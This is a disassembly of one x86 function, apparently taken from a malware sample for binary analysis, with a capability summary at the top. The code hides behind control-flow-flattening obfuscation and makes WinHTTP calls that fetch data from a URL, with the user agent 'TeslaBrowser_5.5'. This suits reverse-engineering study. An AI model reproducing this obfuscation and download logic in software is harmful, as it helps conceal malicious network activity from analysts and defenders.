Function at 0x4171b9
Capabilities:
Initialize winhttp library
Prepare http request
Receive http response

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x4b8
mov dword [ebp - 0x10], 0xd818de76
xor esi, esi
mov ebx, dword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov eax, dword [ebp - 0x10]
cmp eax, 0x14bd0cb4
jg 0x41725b
cmp eax, 0xce2346b7
jg 0x4172e6
cmp eax, 0xacefb05b
jg 0x4173ca
cmp eax, 0x9fdb67c8
jg 0x4174ff
cmp eax, 0x89170e66
jg 0x417785
cmp eax, 0x83112651
je 0x417c50
cmp eax, 0x8792345a
je 0x417f06
cmp eax, 0x8911bf53
jne 0x4171d4
mov edi, dword [ebp - 0x18]
add edi, 0x50
mov dword [ebp - 0x18], edi
push 0x5a66
push edi
push 0x35f7
push 0x6079
call fcn.004137a7
add esp, 0x10
mov eax, 0xcde339b0
cmp edi, 0x37
jne 0x41800b
jmp 0x4183b1
cmp eax, 0x4c02e120
jle 0x41734b
cmp eax, 0x671ff551
jg 0x41746a
cmp eax, 0x5aed916d
jg 0x417640
cmp eax, 0x5602a2d6
jg 0x4179de
cmp eax, 0x4c02e121
je 0x417e0e
cmp eax, 0x521a29f2
je 0x4181d6
cmp eax, 0x55d33f9b
jne 0x4171d4
mov eax, dword [ebp - 0x18]
shl eax, 0xa
lea ecx, [eax + 0x72]
lea ecx, [ecx + ecx*8]
lea eax, [eax + ecx*8]
add eax, 0x72
mov dword [ebp - 0x18], eax
push 0x57cb
push 0x590c
push 0x48f
push 0x5446
push eax
call fcn.0041260f
add esp, 0x14
mov dword [ebp - 0x10], 0x6c5bacf
jmp 0x4171d4
cmp eax, 0xee3271ee
jg 0x417427
cmp eax, 0xddb15dad
jg 0x417540
cmp eax, 0xd679a095
jg 0x4177c3
cmp eax, 0xce2346b8
je 0x417c65
cmp eax, 0xce552804
je 0x417f22
cmp eax, 0xd6188769
jne 0x4171d4
mov eax, dword [ebp - 0x18]
shr eax, 2
and eax, 0x3ffffe0
imul eax, eax, 0x880
or eax, 0x42
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x10], 0xb30fe7f8
jmp 0x4171d4
cmp eax, 0x2d3645e4
jle 0x4174bc
cmp eax, 0x3e9cebfe
jg 0x4176ea
cmp eax, 0x33dae76b
jg 0x417acc
cmp eax, 0x2d3645e5
je 0x418136
cmp eax, 0x2ed4b61f
je 0x4182e9
cmp eax, 0x2f6863b7
jne 0x4171d4
mov ecx, dword [ebp - 0x14]
add ecx, 0x36
mov eax, ecx
imul eax, ecx
shl ecx, 5
lea ecx, [ecx + ecx*2]
imul edx, eax, 0x388f
shr ecx, 1
dec edx
imul ecx, ecx, 0x2a
add ecx, 0x738
mov dword [ebp - 0x14], ecx
mov ecx, 0x5e8de54a
cmp edx, eax
je 0x417cdb
mov ecx, 0x14bd0cb5
jmp 0x417cdb
cmp eax, 0xb3b84474
jg 0x4175a2
cmp eax, 0xb2fbf1fd
jg 0x4177fa
cmp eax, 0xacefb05c
je 0x417c76
cmp eax, 0xb00ced17
je 0x417f64
cmp eax, 0xb2cc851a
jne 0x4171d4
push dword [ebp - 0x78]
push esi
push esi
push esi
push dword [ebp - 0x7c]
push 0x453b1c
push dword [ebp - 0x44]
call dword [sym.imp.WINHTTP.dll_WinHttpOpenRequest]
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x10], 0x7ed04493
jmp 0x4171d4
cmp eax, 0x1541b13
jg 0x4175ec
cmp eax, 0xdd6be
jg 0x417851
cmp eax, 0xee3271ef
je 0x417c91
cmp eax, 0xfbf14b31
je 0x417f70
cmp eax, 0xfd691bec
jne 0x4171d4
mov dword [ebp - 0x10], 0xb5726028
jmp 0x4171d4
cmp eax, 0x753c369d
jg 0x41767b
cmp eax, 0x69f6c252
jg 0x417a20
cmp eax, 0x671ff552
je 0x417e59
cmp eax, 0x681c0f20
je 0x4181f7
cmp eax, 0x6870efa2
jne 0x4171d4
imul eax, dword [ebp - 0x14], 0x23000
add eax, 0x3da90
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x10], 0xddb15dae
jmp 0x4171d4
cmp eax, 0x25b4543e
jle 0x417744
cmp eax, 0x293a4e13
jg 0x417b29
cmp eax, 0x25b4543f
je 0x4182bf
cmp eax, 0x260bbb44
je 0x418368
cmp eax, 0x27d54627
jne 0x4171d4
mov dword [ebp - 0x10], 0x25b4543f
jmp 0x4171d4
cmp eax, 0xa8c75e35
jg 0x4178a6
cmp eax, 0x9fdb67c9
je 0x417cbe
cmp eax, 0xa0869439
je 0x417f91
cmp eax, 0xa7d93225
jne 0x4171d4
mov eax, dword [ebp - 0x30]
add eax, dword [ebp - 0x34]
mov dword [ebp - 0x80], eax
mov dword [ebp - 0x10], 0x6870efa2
jmp 0x4171d4
cmp eax, 0xe8f1218e
jg 0x4178d8
cmp eax, 0xddb15dae
je 0x417ce3
cmp eax, 0xe40ce2aa
je 0x417fac
cmp eax, 0xe6e81e80
jne 0x4171d4
mov edi, dword [ebp - 0x18]
mov eax, 0xffffff2d
add edi, eax
mov eax, edi
shr eax, 2
mov dword [ebp - 0x18], eax
push eax
call fcn.0040f50d
add esp, 4
mov eax, 0x7ed04493
cmp edi, 0x1e4
jae 0x4183b1
mov eax, 0x681c0f20
jmp 0x4183b1
cmp eax, 0xb7434dc6
jg 0x417930
cmp eax, 0xb3b84475
je 0x417cef
cmp eax, 0xb4b9349a
je 0x417fdc
cmp eax, 0xb5726028
jne 0x4171d4
push esi
push esi
push esi
push esi
push str.TeslaBrowser_5.5
call dword [sym.imp.WINHTTP.dll_WinHttpOpen]
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x10], 0x7ccb0544
jmp 0x4171d4
cmp eax, 0x6c5bace
jg 0x417987
cmp eax, 0x1541b14
je 0x417d18
cmp eax, 0x4bded57
je 0x418015
cmp eax, 0x5ae7cf6
jne 0x4171d4
mov eax, dword [ebp - 0x14]
shl eax, 0xc
or eax, 0x55
imul eax, eax, 0x2f
add eax, 0xffffff6c
shr eax, 5
add eax, 0xf1
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x10], 0xe8f1218f
jmp 0x4171d4
cmp eax, 0x5e8de549
jg 0x417a4d
cmp eax, 0x5aed916e
je 0x417e6f
cmp eax, 0x5c5835ad
je 0x418210
cmp eax, 0x5cb6e665
jne 0x4171d4
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x10], 0x7c840334
jmp 0x4171d4
cmp eax, 0x7c840333
jg 0x417a92
cmp eax, 0x753c369e
je 0x417e7b
cmp eax, 0x757d55cc
je 0x41822e
cmp eax, 0x783a9b22
jne 0x4171d4
mov edi, dword [ebp - 0x18]
shl edi, 0x1e
or edi, 0x4a8000
mov dword [ebp - 0x18], edi
push edi
call fcn.0040f53d
add esp, 4
push 0x6188
push edi
push 0x4ad8
call fcn.004138aa
add esp, 0xc
mov eax, 0xec46feb8
cmp edi, 0x5f
jge 0x4183b1
mov eax, 0xd6188769
jmp 0x4183b1
cmp eax, 0x43b4407c
jg 0x417af9
cmp eax, 0x3e9cebff
je 0x41815f
cmp eax, 0x410b6d0d
je 0x4182ff
cmp eax, 0x4371cbc3
jne 0x4171d4
mov eax, dword [ebp - 0x14]
imul ecx, eax, 0xbb
imul ecx, ecx
imul edx, ecx, 0x3811
dec edx
imul eax, eax, 0x66d32c
mov dword [ebp - 0x14], eax
mov eax, 0x783a9b22
cmp ecx, edx
jne 0x417847
jmp 0x4183b1
cmp eax, 0x1ef00047
jle 0x417b6c
cmp eax, 0x1ef00048
je 0x417bd8
cmp eax, 0x1f677780
je 0x417bfe
cmp eax, 0x21102173
jne 0x4171d4
mov eax, dword [ebp - 0x2c]
mov dword [eax], 0
mov dword [ebp - 0x10], 0x5ae7cf6
jmp 0x4171d4
cmp eax, 0x89170e67
je 0x417d44
cmp eax, 0x8928d3c3
je 0x418030
cmp eax, 0x98ec8314
jne 0x4171d4
mov eax, dword [ebp - 0x18]
shl eax, 9
and eax, 0x3fffc00
add eax, 0xfffffff4
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x10], 0x8911bf53
jmp 0x4171d4
cmp eax, 0xd818de75
jle 0x417b8e
cmp eax, 0xd818de76
je 0x417bc0
cmp eax, 0xdd15db0d
jne 0x4171d4
mov eax, dword [ebp + 0xc]
mov dword [eax], esi
mov eax, dword [ebp + 0x10]
mov dword [eax], esi
mov dword [ebp - 0x10], 0x67d7b2
jmp 0x4171d4
cmp eax, 0xb2fbf1fe
je 0x417d74
cmp eax, 0xb30fe7f8
je 0x41806f
cmp eax, 0xb360ee17
jne 0x4171d4
imul eax, dword [ebp - 0x14], 0xe7
lea ecx, [eax + 0x754e]
imul ecx, ecx
imul edx, ecx, 0x4ff9
dec edx
add eax, 0x7542
mov dword [ebp - 0x14], eax
mov eax, 0x43b4407d
cmp edx, ecx
je 0x4183b1
mov eax, 0xb00ced17
jmp 0x4183b1
cmp eax, 0xdd6bf
je 0x417d97
cmp eax, 0x67d7b2
je 0x4180b9
cmp eax, 0x14e076b
jne 0x4171d4
mov eax, dword [ebp - 0x14]
lea ecx, [eax - 0x2b]
mov edx, ecx
shl edx, 7
add eax, edx
add eax, 0xffffffd5
imul ecx, ecx
imul edx, ecx, 0x84c5
dec edx
mov dword [ebp - 0x14], eax
mov eax, 0x681c0f20
cmp ecx, edx
je 0x4183b1
mov eax, 0x33dae76c
jmp 0x4183b1
cmp eax, 0xa8c75e36
je 0x417db0
cmp eax, 0xa963abec
je 0x4180ca
cmp eax, 0xaa7c82f5
jne 0x4171d4
imul eax, dword [ebp - 0x14], 0x96300000
add eax, 0xd800000
jmp 0x417e60
cmp eax, 0xe8f1218f
je 0x417dd2
cmp eax, 0xea1e4123
je 0x4180fa
cmp eax, 0xec46feb8
jne 0x4171d4
mov eax, dword [ebp - 0x18]
shr eax, 0xd
imul edi, eax, 0x31800
add edi, 0x2869800
and edi, 0xfffff000
mov dword [ebp - 0x18], edi
push edi
call fcn.0040f50d
add esp, 4
mov eax, 0xdd6bf
cmp edi, 0x54
jl 0x4182b5
jmp 0x4183b1
cmp eax, 0xb7434dc7
je 0x417dde
cmp eax, 0xc32f5f3a
je 0x418106
cmp eax, 0xcde2a732
jne 0x4171d4
mov eax, dword [ebp - 0x14]
add eax, 0x22
imul ecx, eax, 0xff0
imul eax, eax
imul edx, eax, 0x1d83
dec edx
add ecx, 0xffffe278
mov dword [ebp - 0x14], ecx
mov ecx, 0x7ed04493
cmp eax, edx
je 0x417cdb
mov ecx, 0x5aed916e
jmp 0x417cdb
cmp eax, 0x6c5bacf
je 0x417df7
cmp eax, 0x7576378
je 0x41812a
cmp eax, 0xf05b0e6
jne 0x4171d4
mov eax, dword [ebp - 0x14]
shr eax, 0xb
imul ecx, eax, 0xce0
imul eax, eax
imul edx, eax, 0x95d
add ecx, 0xfffa4440
dec edx
mov dword [ebp - 0x14], ecx
mov ecx, 0x5e8de54a
cmp edx, eax
je 0x417cdb
mov ecx, 0x3e8274d3
jmp 0x417cdb
cmp eax, 0x5602a2d7
je 0x417ea6
cmp eax, 0x58a1ac96
je 0x41824a
cmp eax, 0x5a2f4ff5
jne 0x4171d4
push dword [ebp - 0x74]
push dword [ebp - 0x70]
lea eax, [ebp - 0x4c4]
push eax
call fcn.004321d0
add esp, 0xc
mov dword [ebp - 0x10], 0xb3b84475
jmp 0x4171d4
cmp eax, 0x69f6c253
je 0x417ece
cmp eax, 0x729f200d
je 0x41827e
cmp eax, 0x72c45320
jne 0x4171d4
mov dword [ebp - 0x10], 0xd679a096
jmp 0x4171d4
cmp eax, 0x5e8de54a
je 0x417ee4
cmp eax, 0x5f4319e1
je 0x418294
cmp eax, 0x6351186d
jne 0x4171d4
mov eax, dword [ebp - 0x34]
mov ecx, dword [ebp - 0x64]
add eax, ecx
inc eax
push eax
push dword [ebp - 0x60]
call fcn.0043c891
add esp, 8
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x10], 0x3e9cebff
jmp 0x4171d4
cmp eax, 0x7c840334
je 0x417efa
cmp eax, 0x7ccb0544
je 0x417cb2
cmp eax, 0x7ed04493
jne 0x4171d4
cmp dword [ebp - 0x20], 0
mov eax, 0xea1e4123
je 0x4183b1
mov eax, 0x9fdb67c9
jmp 0x4183b1
cmp eax, 0x33dae76c
je 0x418192
cmp eax, 0x385efa87
je 0x418314
cmp eax, 0x3e8274d3
jne 0x4171d4
mov dword [ebp - 0x10], 0x385efa87
jmp 0x4171d4
cmp eax, 0x43b4407d
je 0x4181a1
cmp eax, 0x482f1844
je 0x418320
cmp eax, 0x4a9dd6a2
jne 0x4171d4
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x10], 0x21102173
jmp 0x4171d4
cmp eax, 0x293a4e14
je 0x4182cb
cmp eax, 0x2b68d8b4
je 0x418379
cmp eax, 0x2ccbb42d
jne 0x4171d4
push 0
push dword [ebp - 0x20]
call dword [sym.imp.WINHTTP.dll_WinHttpReceiveResponse]
mov ecx, 0xb360ee17
test eax, eax
je 0x417cdb
mov ecx, 0x14e076b
jmp 0x417cdb
cmp eax, 0x1964a6a8
je 0x417c18
cmp eax, 0x1ec15ad4
jne 0x4183b9
mov dword [ebp - 0x10], 0xfd691bec
jmp 0x4171d4
cmp eax, 0xd679a096
jne 0x4183c5
mov eax, dword [ebp - 0x98]
xor ecx, ecx
cmp dword [ebp - 0xb8], 2
sete cl
shl ecx, 0x17
mov dword [ebp - 0x78], ecx
mov dword [ebp - 0x7c], eax
mov dword [ebp - 0x10], 0xb2cc851a
jmp 0x4171d4
push eax
mov eax, esp
mov dword [ebp - 0x24], eax
push eax
mov eax, esp
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x10], 0x89170e67
jmp 0x4171d4
push dword [ebp - 0x24]
push dword [ebp - 0x20]
call dword [sym.imp.WINHTTP.dll_WinHttpQueryDataAvailable]
test eax, eax
setne byte [ebp - 0x25]
mov eax, dword [ebp - 0x24]
mov eax, dword [eax]
mov dword [ebp - 0x58], eax
mov dword [ebp - 0x10], 0x5602a2d7
jmp 0x4171d4
mov eax, dword [ebp - 0x14]
shl eax, 0x17
add eax, 0xfe8f0000
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x10], 0x757d55cc
jmp 0x4171d4
imul eax, dword [ebp - 0x14], 0x92
shr eax, 9
mov ecx, eax
imul ecx, eax
imul edx, ecx, 0x187
shl eax, 0x17
dec edx
add eax, 0x9f000000
mov dword [ebp - 0x14], eax
mov eax, 0x5a2f4ff5
cmp edx, ecx
je 0x4183b1
mov eax, 0x72c45320
jmp 0x4183b1
mov eax, dword [ebp - 0x24]
mov dword [eax], 0
mov dword [ebp - 0x10], 0xcde2a732
jmp 0x4171d4
push dword [ebp - 0x40]
call ebx
mov dword [ebp - 0x10], 0x14bd0cb5
jmp 0x4171d4
imul eax, dword [ebp - 0x14], 0x3100000
add eax, 0xfffec400
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x10], 0x1541b14
jmp 0x4171d4
mov eax, dword [ebp - 0x18]
and eax, 0xfffffffc
lea eax, [eax*4 - 0x3d4]
shr eax, 3
mov dword [ebp - 0x18], eax
push eax
push 0x2b64
call fcn.00416805
add esp, 8
mov dword [ebp - 0x10], 0x410b6d0d
jmp 0x4171d4
push esi
push esi
push esi
push esi
push esi
push esi
push dword [ebp - 0x20]
call dword [sym.imp.WINHTTP.dll_WinHttpSendRequest]
mov ecx, 0x4371cbc3
test eax, eax
je 0x417cdb
mov ecx, 0x4bded57
mov dword [ebp - 0x10], ecx
jmp 0x4171d4
mov dword [ebp - 0x10], 0x2d3645e5
jmp 0x4171d4
movzx eax, word [ebp - 0xac]
push 0
push eax
lea eax, [ebp - 0x4c4]
push eax
push dword [ebp - 0x40]
call dword [sym.imp.WINHTTP.dll_WinHttpConnect]
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x10], 0xdd6bf
jmp 0x4171d4
mov edi, dword [ebp + 8]
push edi
call fcn.00440099
add esp, 4
lea ecx, [ebp - 0xc4]
push ecx
push 0
push eax
push edi
call dword [sym.imp.WINHTTP.dll_WinHttpCrackUrl]
mov dword [ebp - 0x6c], eax
mov dword [ebp - 0x10], 0x681c0f20
jmp 0x4171d4
mov eax, dword [ebp - 0x14]
lea ecx, [eax - 0x80]
imul ecx, ecx
add eax, 0x13
imul edx, ecx, 0xed7
shr eax, 0x12
dec edx
mov dword [ebp - 0x14], eax
mov eax, 0xd818de76
cmp edx, ecx
je 0x4183b1
mov eax, 0x27d54627
jmp 0x4183b1
lea eax, [ebp - 0xb0]
mov dword [ebp - 0x54], eax
mov eax, dword [ebp - 0x54]
xor ecx, ecx
dec ecx
mov dword [eax], ecx
mov dword [ebp - 0x94], ecx
mov dword [ebp - 0x10], 0xacefb05c
jmp 0x4171d4
cmp dword [ebp - 0x44], 0
mov eax, 0x3e8274d3
je 0x4183b1
mov eax, 0x1964a6a8
jmp 0x4183b1
mov edi, dword [ebp - 0x68]
xor eax, eax
mov ecx, 0xe
rep stosd dword es:[edi], eax
mov dword [ebp - 0xc4], 0x3c
mov dword [ebp - 0x10], 0x2ed4b61f
jmp 0x4171d4
mov dword [ebp - 0x10], 0xa7d93225
jmp 0x4171d4
cmp byte [ebp - 0x19], 0
mov eax, 0x14bd0cb5
jne 0x4183b1
mov eax, 0xce2346b8
jmp 0x4183b1
mov eax, dword [ebp - 0x84]
mov ecx, dword [ebp + 0xc]
mov dword [ecx], eax
mov dword [ebp - 0x10], 0x1f677780
jmp 0x4171d4
mov eax, dword [ebp - 0x18]
lea eax, [eax + eax*2]
lea edi, [eax + eax]
add edi, 0x3f1
mov dword [ebp - 0x18], edi
push edi
push 0x5c63
push 0x2f52
call fcn.0040d728
add esp, 0xc
push edi
push 0x1ce0
call fcn.0040d90c
add esp, 8
mov eax, 0xce552804
cmp edi, 0x6d
jb 0x4183b1
mov eax, 0xe40ce2aa
jmp 0x4183b1
imul eax, dword [ebp - 0x14], 0x1761000
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x10], 0x260bbb44
jmp 0x4171d4
mov dword [ebp - 0x10], 0x1ef00048
jmp 0x4171d4
imul ecx, dword [ebp - 0x18], 0xb8
add ecx, 0xffffae34
shr ecx, 0xe
mov dword [ebp - 0x18], ecx
mov eax, 0xa8c75e36
cmp ecx, 0x30
je 0x4183b1
mov eax, 0x8792345a
jmp 0x4183b1
mov eax, 0xa963abec
cmp dword [ebp - 0x58], esi
jne 0x417eb5
mov eax, 0x521a29f2
cmp byte [ebp - 0x25], 0
jne 0x417ec0
mov eax, 0x521a29f2
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x3c], esi
mov dword [ebp - 0x38], esi
jmp 0x4171d4
mov eax, dword [ebp + 0xc]
mov dword [eax], esi
mov eax, dword [ebp + 0x10]
mov dword [eax], esi
mov dword [ebp - 0x10], 0xb7434dc7
jmp 0x4171d4
mov dword [ebp - 0xbc], 0xffffffff
mov dword [ebp - 0x10], 0x293a4e14
jmp 0x4171d4
mov dword [ebp - 0x10], 0x8928d3c3
jmp 0x4171d4
mov ecx, dword [ebp - 0x18]
add ecx, 0x2a
mov dword [ebp - 0x18], ecx
mov eax, 0x5a2f4ff5
cmp ecx, 0x55
jge 0x4180af
jmp 0x4183b1
mov edi, dword [ebp - 0x18]
shl edi, 4
add edi, 0xfffff24a
mov dword [ebp - 0x18], edi
push edi
push 0x539a
push 0x598f
push 0xff5
push 0x3e9e
call fcn.00410f44
add esp, 0x14
mov eax, 0x5e8de54a
cmp edi, 0x91
jl 0x41800b
jmp 0x4183b1
mov dword [ebp - 0x10], 0xdd15db0d
jmp 0x4171d4
cmp dword [ebp - 0x40], 0
sete byte [ebp - 0x19]
cmp byte [ebp - 0x19], 0
mov eax, 0xf05b0e6
jne 0x4183b1
mov eax, 0x7576378
jmp 0x4183b1
imul eax, dword [ebp - 0x14], 0x6540
add eax, 0x300e37
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x10], 0x4a9dd6a2
jmp 0x4171d4
mov edi, 0x8000
mov dword [ebp - 0x18], edi
push edi
push 0x1841
push 0x1eed
call fcn.0041186c
add esp, 0xc
push edi
call fcn.004193ae
add esp, 4
mov dword [ebp - 0x10], 0x681c0f20
jmp 0x4171d4
imul eax, dword [ebp - 0x14], 0x9f
mov ecx, eax
shr ecx, 7
shr eax, 0xc
imul ecx, ecx
imul eax, eax, 0x91
imul edx, ecx, 0x7715
dec edx
mov dword [ebp - 0x14], eax
mov eax, 0x410b6d0d
cmp ecx, edx
je 0x4183b1
mov eax, 0xfbf14b31
jmp 0x4183b1
imul eax, dword [ebp - 0x14], 0x7e7800
or eax, 0xe7
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x10], 0x2ccbb42d
jmp 0x4171d4
push dword [ebp - 0x24]
push dword [ebp - 0x20]
call dword [sym.imp.WINHTTP.dll_WinHttpQueryDataAvailable]
mov ecx, dword [ebp - 0x24]
mov ecx, dword [ecx]
mov edx, 0x5c5835ad
test ecx, ecx
jne 0x41804f
mov edx, 0x482f1844
test eax, eax
jne 0x418058
mov edx, 0x482f1844
mov dword [ebp - 0x10], edx
mov eax, dword [ebp - 0x30]
mov edx, dword [ebp - 0x5c]
mov dword [ebp - 0x50], ecx
mov dword [ebp - 0x4c], eax
mov dword [ebp - 0x48], edx
jmp 0x4171d4
mov eax, dword [ebp - 0x18]
lea edi, [eax + eax]
add edi, 0x1d2000
mov eax, edi
shr eax, 0xd
add eax, 0x58
mov dword [ebp - 0x18], eax
push eax
push 0x4b35
push 0x43df
push 0x4b41
call fcn.004137a7
add esp, 0x10
mov eax, 0x5e8de54a
cmp edi, 0x6a000
jb 0x4183b1
mov eax, 0x410b6d0d
jmp 0x4183b1
push dword [ebp - 0x20]
call ebx
mov dword [ebp - 0x10], 0x671ff552
jmp 0x4171d4
mov eax, dword [ebp - 0x14]
shl eax, 7
add eax, 0x11c00
and eax, 0xfffffe00
add eax, 0xffffff4f
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x10], 0x5c5835ad
mov eax, dword [ebp - 0x58]
mov dword [ebp - 0x50], eax
mov dword [ebp - 0x4c], esi
mov dword [ebp - 0x48], esi
jmp 0x4171d4
mov dword [ebp - 0x10], 0x729f200d
jmp 0x4171d4
cmp dword [ebp - 0x30], 0
mov eax, 0x521a29f2
je 0x418116
mov eax, 0xa0869439
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 0x60]
mov dword [ebp - 0x38], eax
jmp 0x4171d4
mov dword [ebp - 0x10], 0x43b4407d
jmp 0x4171d4
push dword [ebp - 0x2c]
push dword [ebp - 0x64]
push dword [ebp - 0x80]
push dword [ebp - 0x20]
call dword [sym.imp.WINHTTP.dll_WinHttpReadData]
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax]
add eax, dword [ebp - 0x34]
mov dword [ebp - 0x5c], eax
mov dword [ebp - 0x10], 0x5cb6e665
jmp 0x4171d4
mov eax, dword [ebp - 0x14]
mov ecx, 0x1bf
add eax, ecx
mov ecx, eax
imul ecx, eax
imul edx, ecx, 0x531b
dec edx
shl eax, 0xe
mov dword [ebp - 0x14], eax
mov eax, 0x681c0f20
cmp edx, ecx
je 0x4183b1
mov eax, 0xc32f5f3a
jmp 0x4183b1
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x10], 0x83112651
jmp 0x4171d4
push 0x400
push 0
lea eax, [ebp - 0x4c4]
push eax
call fcn.00432cd0
add esp, 0xc
mov eax, dword [ebp - 0xb4]
mov dword [ebp - 0x70], eax
mov eax, dword [ebp - 0x54]
mov eax, dword [eax]
add eax, eax
mov dword [ebp - 0x74], eax
mov dword [ebp - 0x10], 0x5a2f4ff5
jmp 0x4171d4
mov eax, dword [ebp - 0x38]
mov dword [ebp - 0x84], eax
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0x88], eax
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x10], 0x6c5bacf
jmp 0x4171d4
cmp dword [ebp - 0x6c], 0
mov eax, 0x2f6863b7
je 0x4183b1
mov eax, 0xb4b9349a
jmp 0x4183b1
mov eax, dword [ebp - 0x48]
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x4c]
mov dword [ebp - 0x60], eax
mov eax, dword [ebp - 0x50]
mov dword [ebp - 0x64], eax
mov dword [ebp - 0x10], 0x6351186d
jmp 0x4171d4
mov eax, dword [ebp - 0x88]
mov ecx, dword [ebp + 0x10]
mov dword [ecx], eax
push dword [ebp - 0x20]
call ebx
mov dword [ebp - 0x10], 0xaa7c82f5
jmp 0x4171d4
mov ecx, dword [ebp - 0x18]
shl ecx, 4
add ecx, 0xfffff2f5
mov eax, ecx
shr eax, 9
add eax, 0xffffff09
mov dword [ebp - 0x18], eax
mov eax, 0x2b68d8b4
cmp ecx, 0x3ec00
jae 0x4183b1
mov eax, 0x5602a2d7
jmp 0x4183b1
mov eax, dword [ebp + 0xc]
mov dword [eax], esi
mov eax, dword [ebp + 0x10]
mov dword [eax], esi
mov dword [ebp - 0x10], 0x260bbb44
jmp 0x4171d4
imul ecx, dword [ebp - 0x18], 0x2d2b48
add ecx, 0x13ccaebc
mov dword [ebp - 0x18], ecx
mov eax, 0xd679a096
cmp ecx, 0xb5
jae 0x4183b1
mov eax, 0xb3b84475
jmp 0x4183b1
mov dword [ebp - 0x10], 0x1ec15ad4
jmp 0x4171d4
mov eax, dword [ebp - 0x14]
shr eax, 0xe
imul eax, eax, 0xe8
add eax, 0xffffffdc
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x10], 0xb2fbf1fe
jmp 0x4171d4
imul eax, dword [ebp - 0x14], 0x7c0
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x10], 0x5e8de54a
jmp 0x4171d4
lea eax, [ebp - 0xc0]
mov dword [ebp - 0x68], eax
mov dword [ebp - 0x10], 0xa8c75e36
jmp 0x4171d4
mov dword [ebp - 0x10], 0x69f6c253
jmp 0x4171d4
mov eax, dword [ebp - 0x14]
mov ecx, 0x120
add eax, ecx
imul ecx, eax, 0xa3
imul eax, eax
imul edx, eax, 0x51a5
dec edx
shr ecx, 4
and ecx, 0xffff800
mov dword [ebp - 0x14], ecx
mov ecx, 0x5f4319e1
cmp eax, edx
je 0x418354
mov ecx, 0x521a29f2
mov dword [ebp - 0x10], ecx
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x5c]
mov dword [ebp - 0x3c], ecx
mov dword [ebp - 0x38], eax
jmp 0x4171d4
push dword [ebp - 0x44]
call ebx
mov dword [ebp - 0x10], 0xb7434dc7
jmp 0x4171d4
mov edi, dword [ebp - 0x18]
add edi, 0x78
mov eax, edi
shr eax, 0xa
mov dword [ebp - 0x18], eax
push 0x155
push 0xf7c
push eax
push 0x191
call fcn.00416759
add esp, 0x10
mov eax, 0x83112651
cmp edi, 0x32000
jb 0x4183b1
mov eax, 0xd679a096
mov dword [ebp - 0x10], eax
jmp 0x4171d4
cmp eax, 0x14bd0cb5
je 0x418403
jmp 0x4171d4
cmp eax, 0xd797924a
jne 0x4171d4
imul eax, dword [ebp - 0x18], 0xef
add eax, 0x3f7c
mov dword [ebp - 0x18], eax
push 0x3b1d
push 0x2fac
push 0x3e9e
push 0x4d4c
push 0xba2
push 0x45aa
push eax
call fcn.00416423
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret